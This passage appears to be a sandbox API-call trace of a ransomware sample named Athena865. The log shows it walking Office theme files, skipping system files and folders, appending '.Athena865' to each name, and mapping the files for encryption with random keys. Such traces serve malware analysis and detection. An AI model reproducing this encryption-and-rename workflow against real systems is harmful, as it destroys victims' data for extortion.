pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.178] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.179] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x55cf0, lpName=0x0) returned 0x17c [0137.180] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x55cf0) returned 0x2bb0000 [0137.191] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.192] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.192] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.192] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.192] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.193] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.193] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0137.196] CloseHandle (hObject=0x17c) returned 1 [0137.196] CloseHandle (hObject=0x154) returned 1 [0137.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.196] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.197] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d33b000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b32340, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7d33b000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x33892, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Horizon.eftx", cAlternateFileName="HORIZO~1.EFT")) returned 1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2=".") returned 1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2="..") returned 1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2="windows") returned -1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2="bootmgr") returned 1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2="temp") returned -1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2="pagefile.sys") returned -1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2="boot") returned 1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2="ids.txt") returned -1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2="ntuser.dat") returned -1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2="perflogs") returned -1 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2="MSBuild") returned -1 [0137.198] lstrlenW (lpString="Horizon.eftx") returned 12 [0137.198] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Horizon.eftx" | out: lpString1="Horizon.eftx") returned="Horizon.eftx" [0137.198] lstrlenW (lpString="Horizon.eftx") returned 12 [0137.198] lstrlenW (lpString="Athena865") returned 9 [0137.198] lstrcmpiW (lpString1="izon.eftx", lpString2="Athena865") returned 1 [0137.198] lstrlenW (lpString=".dll") returned 4 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2=".dll") returned 1 [0137.198] lstrlenW (lpString=".lnk") returned 4 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2=".lnk") returned 1 [0137.198] lstrlenW (lpString=".ini") returned 4 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2=".ini") returned 1 [0137.198] lstrlenW (lpString=".sys") returned 4 [0137.198] lstrcmpiW (lpString1="Horizon.eftx", lpString2=".sys") returned 1 [0137.198] lstrlenW (lpString="Horizon.eftx") returned 12 [0137.199] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.Athena865") returned 89 [0137.199] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.athena865"), dwFlags=0x1) returned 1 [0137.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.200] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=211090) returned 1 [0137.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.201] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.201] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.201] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.201] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x33ba0, lpName=0x0) returned 0x17c [0137.203] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x33ba0) returned 0x170000 [0137.210] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.210] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.210] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.211] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.211] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.211] UnmapViewOfFile (lpBaseAddress=0x170000) returned 1 [0137.213] CloseHandle (hObject=0x17c) returned 1 [0137.213] CloseHandle (hObject=0x154) returned 1 [0137.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0137.214] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0137.215] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcefe0fc0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xcefe0fc0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0137.215] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0137.215] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17dfbf00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17dfbf00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x9a7a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Median.eftx", cAlternateFileName="MEDIAN~1.EFT")) returned 1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2=".") returned 1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2="..") returned 1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2="windows") returned -1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2="bootmgr") returned 1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2="temp") returned -1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2="pagefile.sys") returned -1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2="boot") returned 1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2="ids.txt") returned 1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2="ntuser.dat") returned -1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2="perflogs") returned -1 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2="MSBuild") returned -1 [0137.215] lstrlenW (lpString="Median.eftx") returned 11 [0137.215] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Median.eftx" | out: lpString1="Median.eftx") returned="Median.eftx" [0137.215] lstrlenW (lpString="Median.eftx") returned 11 [0137.215] lstrlenW (lpString="Athena865") returned 9 [0137.215] lstrcmpiW (lpString1="dian.eftx", lpString2="Athena865") returned 1 [0137.215] lstrlenW (lpString=".dll") returned 4 [0137.215] lstrcmpiW (lpString1="Median.eftx", lpString2=".dll") returned 1 [0137.216] lstrlenW (lpString=".lnk") returned 4 [0137.216] lstrcmpiW (lpString1="Median.eftx", lpString2=".lnk") returned 1 [0137.216] lstrlenW (lpString=".ini") returned 4 [0137.216] lstrcmpiW (lpString1="Median.eftx", lpString2=".ini") returned 1 [0137.216] lstrlenW (lpString=".sys") returned 4 [0137.216] lstrcmpiW (lpString1="Median.eftx", lpString2=".sys") returned 1 [0137.216] lstrlenW (lpString="Median.eftx") returned 11 [0137.216] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.Athena865") returned 88 [0137.216] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.athena865"), dwFlags=0x1) returned 1 [0137.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.217] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=39546) returned 1 [0137.217] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0137.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0137.218] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0137.218] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.218] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.218] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.219] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9d80, lpName=0x0) returned 0x17c [0137.220] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9d80) returned 0x100000 [0137.222] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.223] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.223] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0137.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0137.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0137.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0137.223] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0137.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0137.223] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0137.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0137.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0137.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0137.224] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0137.224] CloseHandle (hObject=0x17c) returned 1 [0137.224] CloseHandle (hObject=0x154) returned 1 [0137.224] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0137.225] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b734600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b584a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b734600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x5e35, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Metro.eftx", cAlternateFileName="METRO~1.EFT")) returned 1 [0137.225] lstrcmpiW (lpString1="Metro.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.225] lstrcmpiW (lpString1="Metro.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.225] lstrcmpiW (lpString1="Metro.eftx", lpString2=".") returned 1 [0137.225] lstrcmpiW (lpString1="Metro.eftx", lpString2="..") returned 1 [0137.225] lstrcmpiW (lpString1="Metro.eftx", lpString2="windows") returned -1 [0137.225] lstrcmpiW (lpString1="Metro.eftx", lpString2="bootmgr") returned 1 [0137.225] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Metro.eftx" | out: lpString1="Metro.eftx") returned="Metro.eftx" [0137.225] lstrlenW (lpString="Metro.eftx") returned 10 [0137.225] lstrlenW (lpString="Athena865") returned 9 [0137.225] lstrcmpiW (lpString1="etro.eftx", lpString2="Athena865") returned 1 [0137.225] lstrlenW (lpString=".dll") returned 4 [0137.225] lstrcmpiW (lpString1="Metro.eftx", lpString2=".dll") returned 1 [0137.225] lstrlenW (lpString=".lnk") returned 4 [0137.225] lstrcmpiW (lpString1="Metro.eftx", lpString2=".lnk") returned 1 [0137.226] lstrlenW (lpString=".ini") returned 4 [0137.226] lstrcmpiW (lpString1="Metro.eftx", lpString2=".ini") returned 1 [0137.226] lstrlenW (lpString=".sys") returned 4 [0137.226] lstrcmpiW (lpString1="Metro.eftx", lpString2=".sys") returned 1 [0137.226] lstrlenW (lpString="Metro.eftx") returned 10 [0137.226] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.Athena865") returned 87 [0137.226] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.athena865"), dwFlags=0x1) returned 1 [0137.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\metro.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.227] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24117) returned 1 [0137.227] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.228] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.228] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.228] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6140, lpName=0x0) returned 0x17c [0137.230] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6140) returned 0x100000 [0137.231] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.232] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.232] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.233] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd5a000, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1dd5a000, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xa95d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Module.eftx", cAlternateFileName="MODULE~1.EFT")) returned 1 [0137.233] lstrcmpiW (lpString1="Module.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.233] lstrcmpiW (lpString1="Module.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.233] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Module.eftx" | out: lpString1="Module.eftx") returned="Module.eftx" [0137.233] lstrlenW (lpString="Module.eftx") returned 11 [0137.233] lstrlenW (lpString="Athena865") returned 9 [0137.233] lstrcmpiW (lpString1="dule.eftx", lpString2="Athena865") returned 1 [0137.233] lstrlenW (lpString=".dll") returned 4 [0137.233] lstrcmpiW (lpString1="Module.eftx", lpString2=".dll") returned 1 [0137.233] lstrlenW (lpString=".lnk") returned 4 [0137.233] lstrcmpiW (lpString1="Module.eftx", lpString2=".lnk") returned 1 [0137.233] lstrlenW (lpString=".ini") returned 4 [0137.233] lstrcmpiW (lpString1="Module.eftx", lpString2=".ini") returned 1 [0137.233] lstrlenW (lpString=".sys") returned 4 [0137.233] lstrcmpiW (lpString1="Module.eftx", lpString2=".sys") returned 1 [0137.234] lstrlenW (lpString="Module.eftx") returned 11 [0137.234] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.Athena865") returned 88 [0137.234] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.athena865"), dwFlags=0x1) returned 1 [0137.235] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Module.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\module.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0137.235] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=43357) returned 1 [0137.235] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0137.236] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0137.236] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.236] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xac60, lpName=0x0) returned 0x17c [0137.238] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xac60) returned 0x100000 [0137.240] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0137.241] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0137.241] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0137.242] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80c73700, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5b7e600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x80c73700, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x8e301, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Newsprint.eftx", cAlternateFileName="NEWSPR~1.EFT")) returned 1 [0137.242] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0137.242] lstrcmpiW (lpString1="Newsprint.eftx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0137.242] lstrcpyW (in: lpString1=0x241e8ce, lpString2="Newsprint.eftx" | out: lpString1="Newsprint.eftx") returned="Newsprint.eftx" [0137.242] lstrlenW (lpString="Newsprint.eftx") returned 14 [0137.242] lstrlenW (lpString="Athena865") returned 9 [0137.242] lstrcmpiW (lpString1="rint.eftx", lpString2="Athena865") returned 1 [0137.242] lstrlenW (lpString=".dll") returned 4 [0137.242] lstrcmpiW (lpString1="Newsprint.eftx", lpString2=".dll") returned 1 [0137.242] lstrlenW (lpString=".lnk") returned 4 [0137.242] lstrcmpiW (lpString1="Newsprint.eftx", lpString2=".lnk") returned 1 [0137.242] lstrlenW (lpString=".ini") returned 4 [0137.242] lstrcmpiW (lpString1="Newsprint.eftx", lpString2=".ini") returned 1 [0137.242] lstrlenW (lpString=".sys") returned 4 [0137.242] lstrcmpiW (lpString1="Newsprint.eftx", lpString2=".sys") returned 1 [0137.242] lstrlenW (lpString="Newsprint.eftx") returned 14 [0137.242] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.Athena865") returned 91 [0137.242] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.athena865"), dwFlags=0x1) returned 1 [0137.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Newsprint.eftx.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\newsprint.eftx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, 